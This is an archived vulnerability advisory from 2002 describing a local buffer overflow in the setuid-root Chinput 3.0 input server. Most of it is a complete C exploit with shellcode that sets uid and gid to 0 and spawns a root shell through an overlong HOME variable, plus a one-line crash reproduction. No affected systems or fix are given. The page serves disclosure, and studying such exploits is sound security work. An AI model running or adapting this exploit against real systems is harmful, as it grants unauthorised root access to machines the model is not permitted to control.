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TUCoPS :: Unix :: General :: unix5005.htm

Chinput local buffer overflow leads gives root



17th Jan 2002 [SBWID-5005]
COMMAND

	Chinput local buffer overflow leads gives root

SYSTEMS AFFECTED

	??

PROBLEM

	Xperc posted :
	

	Chinput is a Chinese input  server  on  UNIX/Linux.  It  supports  XIM(X
	Input Method) Protocl and its own protocl for Chinese platform.
	

	 

	$ls -l /usr/bin/chinput

	-rwsr-xr-x  1  root  root  317272 Jan 15 21:31 

	/usr/bin/chinput

	$export HOME=`perl -e \'print \"a\"x800\'`

	$/usr/bin/chinput

	Segmentation fault

	

	

	/* local exploit for Chinput 3.0 

	 * .. tested in TurboLinux 6.5 with kernel 2.2.18

	 * 

	 * Usage: $gcc chinput_exp.c

	 *        $./a.out

	 *        bash-2.04$ /usr/bin/chinput

	 *         

	 *                       by xperc@hotmail.com

	 *                               2002/1/16

	 */

	                   

	#include <stdio.h>

	#include <stdlib.h>

	

	#define NOP 0x90

	#define OFS 0x1f0

	

	unsigned long get_esp()

	{

	    __asm__(\"mov %esp,%eax\");

	}

	

	char *shellcode=

	    \"\\x31\\xc0\\x31\\xdb\\xb0\\x17\\xcd\\x80\"    /*

	setuid=0 */

	    \"\\x31\\xc0\\x31\\xdb\\xb0\\x2e\\xcd\\x80\"    /*

	setgid=0 */

	    \"\\xeb\\x24\\x5e\\x8d\\x1e\\x89\\x5e\\x0b\"

	    \"\\x33\\xd2\\x89\\x56\\x07\\x89\\x56\\x0f\"

	    \"\\xb8\\x1b\\x56\\x34\\x12\\x35\\x10\\x56\"

	    \"\\x34\\x12\\x8d\\x4e\\x0b\\x8b\\xd1\\xcd\"

	    \"\\x80\\x33\\xc0\\x40\\xcd\\x80\\xe8\\xd7\"

	    \"\\xff\\xff\\xff/bin/sh\";

		

	

	char s[512];

	char *s1;

	

	int main()

	{

		strcpy(s,\"HOME=\");

		s1=s+5;

		while(s1<s+260+5-strlen(shellcode)) 

		    *(s1++)=NOP;

	

		while(*shellcode) 

	            *(s1++)=*(shellcode++);

	        *((unsigned long *)s1)=get_esp()-OFS;

		printf(\"Jump to: %p\\n\",*((long *)s1));

		s1+=4;

		*s1=0;

		putenv(s);

		system(\"bash\");

	}

	

SOLUTION

	??


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